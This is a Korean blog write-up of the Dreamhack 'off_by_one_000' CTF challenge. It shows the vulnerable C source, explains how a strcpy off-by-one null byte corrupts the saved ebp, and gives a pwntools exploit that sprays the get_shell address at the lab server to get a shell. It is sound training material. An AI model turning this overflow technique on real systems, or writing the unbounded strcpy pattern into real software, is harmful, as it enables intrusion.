본문 바로가기

CTF/Pwnable

[Dreamhack] off_by_one_000 Write-up

코드분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char cp_name[256];

void get_shell()
{
    system("/bin/sh");
}

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int cpy()
{
    char real_name[256];
    strcpy(real_name, cp_name);
    return 0;
}

int main()
{
    initialize();
    printf("Name: ");
    read(0, cp_name, sizeof(cp_name));

    cpy();

    printf("Name: %s", cp_name);

    return 0;
}

 

  • cp_name이 256바이트 입력받음 
  • cpy()에서 strcpy로 입력받은 문자열을 real_name에 복사하여 저장 

익스플로잇

 

이때 strcpy는 두번째 인자를 첫번째 인자로 복사할 때 두번째 인자에서 null까지 포함하여 복사

=> 256바이트 입력받으면 257바이트 복사 

=> cpy함수의 ebp의 4바이트 중 1바이트를 null(00)로 덮어 씌우게 됨 

=> ebp는 real_name이 저장되는 문자열을 가르키게 됨 

 

이 부분에 get_shell함수의 주소값을 넣으면 쉘을 획득할 수 있음 

 

익스플로잇 코드를 짜자

from pwn import *

p = remote('host3.dreamhack.games', 24364)
e = ELF("./off_by_one_000")

get_shell = e.symbols['get_shell']

payload = (p32(get_shell)*64 )

p.recvuntil('Name: ')
p.sendline(payload)

p.interactive()

flag가 나옴 

'CTF > Pwnable' 카테고리의 다른 글

[Dreamhack] dream's notepad revenge  (0) 2024.04.07
[DreamHack] cpp_string Write-up  (0) 2024.04.07
[DreamHack] environ Write-up  (0) 2024.04.07
[DreamHack] checkflag Write-up  (0) 2024.03.31
[Dreamhack] blindsc Write-up  (0) 2024.03.31